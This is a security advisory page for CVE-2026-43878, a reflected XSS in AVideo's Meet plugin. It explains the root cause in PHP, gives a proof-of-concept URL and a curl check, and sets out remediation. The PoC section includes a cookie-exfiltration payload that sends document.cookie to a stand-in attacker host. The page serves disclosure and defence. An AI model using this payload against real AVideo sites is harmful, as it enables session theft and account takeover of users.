AVideo CVE-2026-43878
MEDIUMSeverity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.
Details
Root cause is a two-step reflection with no escaping applied at the HTML/JS sink.
Step 1 - User::loginFromRequestToGet() at objects/user.php:3363-3373 returns the raw concatenation of $_REQUEST['user'] and $_REQUEST['pass'] with no URL-encoding, HTML-escaping, or other sanitization:
public static function loginFromRequestToGet()
{
if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
$return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}";
if (!empty($_REQUEST['encodedPass'])) {
$return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
}
return $return;
}
return "";
}Step 2 - plugin/Meet/iframe.php builds $readyToClose from that string and emits it into a JS string literal without escaping:
// plugin/Meet/iframe.php:19-22
$userCredentials = User::loginFromRequestToGet(); // set in validateMeet.php:19
$readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}";
if (Meet::isModerator($meet_schedule_id)) {
$readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}";
...
}// plugin/Meet/iframe.php:115-117
function _readyToClose() {
document.location = "<?php echo $readyToClose; ?>";
}Note that xss_esc() IS applied a few lines earlier to the adjacent nameIdentification parameter (line 45) - the developer knew about XSS here but missed $userCredentials. No call to json_encode, htmlspecialchars, xss_esc, or rawurlencode is applied to $readyToClose.
Reachability to unauthenticated users. plugin/Meet/validateMeet.php gates on Meet::canJoinMeetWithReason() and Meet::validatePassword():
Meet::canJoinMeetWithReason()(plugin/Meet/Meet.php:399-402) returnscanJoin=truefor any visitor when the meet is public (getPublic() == "2"):
if ($meet->getPublic() == "2") {
$obj->canJoin = true;
$obj->reason = "Is public";
return $obj;
}Meet::validatePassword()(plugin/Meet/Meet.php:595-618) returnstruewhen the meet has no password set.validateMeet.php:27only blocks unauthenticated users whengetPublic()is empty.
So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.
Payload construction. With user=";}alert(1);function a(){" and pass=x, the rendered script becomes:
function _readyToClose() {
document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x";
}Parse flow:
document.location = "CHANNEL_URL?user=";- assignment completes.}- closes_readyToClose.alert(1);- executes immediately at script parse/run time (does NOT require_readyToCloseto be called).function a(){"&pass=x";}- declares a harmless function that absorbs the trailing garbage.
PoC
Precondition: one public Meet schedule with no password (or the attacker supplies &meet_password=<known> / is moderator/admin).
- Attacker sends victim the following URL:
https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=xURL-decoded user payload: ";}alert(1);function a(){"
- Server reflects the parameters unescaped into the script block on line 116.
- Victim's browser parses the script;
alert(1)fires immediately on page load. - Verification:
$ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \
| grep -A1 _readyToClose
function _readyToClose() {
document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x";The injected ";}alert(1);function a(){" sequence appears verbatim in the response, closing the JS string and function and executing alert(1) at parse time.
- Realistic exploitation replaces
alert(1)with a cookie-exfiltration payload:
user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=xImpact
Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:
- Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just
/plugin/Meet/). - Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).
- Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).
- Deliver phishing content under the trusted AVideo domain.
The attack is unauthenticated on any install that has at least one public, no-password Meet schedule - which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.
Recommended Fix
Apply JSON encoding at the sink in plugin/Meet/iframe.php:116 so the string is always a valid JS literal regardless of its contents:
function _readyToClose() {
document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
}Additionally, harden User::loginFromRequestToGet() (objects/user.php:3363-3373) to URL-encode the components so downstream sinks cannot be broken out of with ", <, or other control characters:
public static function loginFromRequestToGet()
{
if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
$return = "user=" . rawurlencode($_REQUEST['user'])
. "&pass=" . rawurlencode($_REQUEST['pass']);
if (!empty($_REQUEST['encodedPass'])) {
$return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
}
return $return;
}
return "";
}Audit every other caller of loginFromRequestToGet() (and any other function that returns raw $_REQUEST['user'] / $_REQUEST['pass']) for similar sinks.
AnalysisAI
Reflected XSS in AVideo's Meet plugin allows unauthenticated attackers to execute arbitrary JavaScript in a victim's browser by injecting unescaped user and pass query parameters into a JavaScript string literal. The vulnerability is reachable without authentication on any public Meet schedule with no password (the default configuration), enabling session cookie theft and account takeover of authenticated users. CVSS 6.1 (AV:N/AC:L/PR:N/UI:R/S:C) reflects network delivery requiring user interaction but changed scope due to cookie exfiltration across the AVideo application origin.
Technical ContextAI
AVideo is a PHP-based video platform built with Composer. The vulnerability stems from a two-step unescaped reflection: User::loginFromRequestToGet() in objects/user.php concatenates raw $_REQUEST['user'] and $_REQUEST['pass'] parameters without URL-encoding or HTML-escaping, returning a query string like 'user=X&pass=Y'. This output is then embedded directly into a JavaScript string literal via echo in plugin/Meet/iframe.php line 116 within a <script> block: document.location = "<?php echo $readyToClose; ?>"; An attacker breaks out of the double-quoted string using a quote character, closes the function and statement with }, injects arbitrary JavaScript, and uses a dummy function to absorb trailing garbage. The root cause is CWE-79 (Cross-site Scripting), specifically improper neutralization of input during web page generation. The code path shows the developer knew about XSS risk (xss_esc() is applied nearby to nameIdentification) but failed to apply any escaping (json_encode, htmlspecialchars, xss_esc, or rawurlencode) to $userCredentials.
RemediationAI
Apply the vendor-released patch immediately by updating to the fixed commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b or later (reference: https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b). The fix involves two changes: (1) in objects/user.php line 3365-3366, replace raw $_REQUEST concatenation with rawurlencode() calls to URL-encode user and pass parameters, preventing quote/bracket breakout; (2) in plugin/Meet/iframe.php line 116, replace the unescaped echo with json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) to ensure the string is always a valid JavaScript literal regardless of contents. If immediate patching is not possible, implement temporary mitigations: disable public Meet schedules (set getPublic() to 0 or 1 instead of 2), require passwords on all Meet schedules, or restrict access to plugin/Meet/ endpoints via reverse proxy authentication. These workarounds reduce attack surface but do not fix the underlying injection. Audit all other callers of loginFromRequestToGet() and any functions returning raw $_REQUEST['user']/$_REQUEST['pass'] for similar sinks, as the vulnerability is systemic to improper handling of these parameters.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-mm5f-8q57-4fc4